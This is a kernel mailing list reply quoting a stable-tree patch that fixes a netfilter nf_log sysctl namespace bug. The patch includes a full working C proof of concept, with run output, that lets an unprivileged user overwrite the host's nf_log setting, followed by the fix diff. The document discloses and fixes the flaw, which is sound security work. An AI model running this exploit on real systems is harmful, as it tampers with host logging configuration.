Greg,
Thanks a lot for picking up this one!
I have more stable stuff for netfilter, I can prepare a batch for you.
I'll keep it small and only urgent stuff.
Let me know if that's fine with you.
On Thu, Nov 17, 2016 at 11:33:16AM +0100, Greg Kroah-Hartman wrote:
> 4.4-stable review patch. If anyone has any objections, please let me know.
>
> ------------------
>
> From: Jann Horn <j...@thejh.net>
>
> commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
>
> nf_log_proc_dostring() used current's network namespace instead of the one
> corresponding to the sysctl file the write was performed on. Because the
> permission check happens at open time and the nf_log files in namespaces
> are accessible for the namespace owner, this can be abused by an
> unprivileged user to effectively write to the init namespace's nf_log
> sysctls.
>
> Stash the "struct net *" in extra2 - data and extra1 are already used.
>
> Repro code:
>
> #define _GNU_SOURCE
> #include <stdlib.h>
> #include <sched.h>
> #include <err.h>
> #include <sys/mount.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <fcntl.h>
> #include <unistd.h>
> #include <string.h>
> #include <stdio.h>
>
> char child_stack[1000000];
>
> uid_t outer_uid;
> gid_t outer_gid;
> int stolen_fd = -1;
>
> void writefile(char *path, char *buf) {
> int fd = open(path, O_WRONLY);
> if (fd == -1)
> err(1, "unable to open thing");
> if (write(fd, buf, strlen(buf)) != strlen(buf))
> err(1, "unable to write thing");
> close(fd);
> }
>
> int child_fn(void *p_) {
> if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
> NULL))
> err(1, "mount");
>
> /* Yes, we need to set the maps for the net sysctls to recognize us
> * as namespace root.
> */
> char buf[1000];
> sprintf(buf, "0 %d 1\n", (int)outer_uid);
> writefile("/proc/1/uid_map", buf);
> writefile("/proc/1/setgroups", "deny");
> sprintf(buf, "0 %d 1\n", (int)outer_gid);
> writefile("/proc/1/gid_map", buf);
>
> stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
> if (stolen_fd == -1)
> err(1, "open nf_log");
> return 0;
> }
>
> int main(void) {
> outer_uid = getuid();
> outer_gid = getgid();
>
> int child = clone(child_fn, child_stack + sizeof(child_stack),
> CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
> |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
> if (child == -1)
> err(1, "clone");
> int status;
> if (wait(&status) != child)
> err(1, "wait");
> if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
> errx(1, "child exit status bad");
>
> char *data = "NONE";
> if (write(stolen_fd, data, strlen(data)) != strlen(data))
> err(1, "write");
> return 0;
> }
>
> Repro:
>
> $ gcc -Wall -o attack attack.c -std=gnu99
> $ cat /proc/sys/net/netfilter/nf_log/2
> nf_log_ipv4
> $ ./attack
> $ cat /proc/sys/net/netfilter/nf_log/2
> NONE
>
> Because this looks like an issue with very low severity, I'm sending it to
> the public list directly.
>
> Signed-off-by: Jann Horn <j...@thejh.net>
> Signed-off-by: Pablo Neira Ayuso <pa...@netfilter.org>
> Signed-off-by: Greg Kroah-Hartman <gre...@linuxfoundation.org>
>
> ---
> net/netfilter/nf_log.c | 6 ++++--
> 1 file changed, 4 insertions(+), 2 deletions(-)
>
> --- a/net/netfilter/nf_log.c
> +++ b/net/netfilter/nf_log.c
> @@ -401,7 +401,7 @@ static int nf_log_proc_dostring(struct c
> size_t size = *lenp;
> int r = 0;
> int tindex = (unsigned long)table->extra1;
> - struct net *net = current->nsproxy->net_ns;
> + struct net *net = table->extra2;
>
> if (write) {
> if (size > sizeof(buf))
> @@ -453,7 +453,6 @@ static int netfilter_log_sysctl_init(str
> 3, "%d", i);
> nf_log_sysctl_table[i].procname =
> nf_log_sysctl_fnames[i];
> - nf_log_sysctl_table[i].data = NULL;
> nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
> nf_log_sysctl_table[i].mode = 0644;
> nf_log_sysctl_table[i].proc_handler =
> @@ -463,6 +462,9 @@ static int netfilter_log_sysctl_init(str
> }
> }
>
> + for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
> + table[i].extra2 = net;
> +
> net->nf.nf_log_dir_header = register_net_sysctl(net,
> "net/netfilter/nf_log",
> table);
>
>
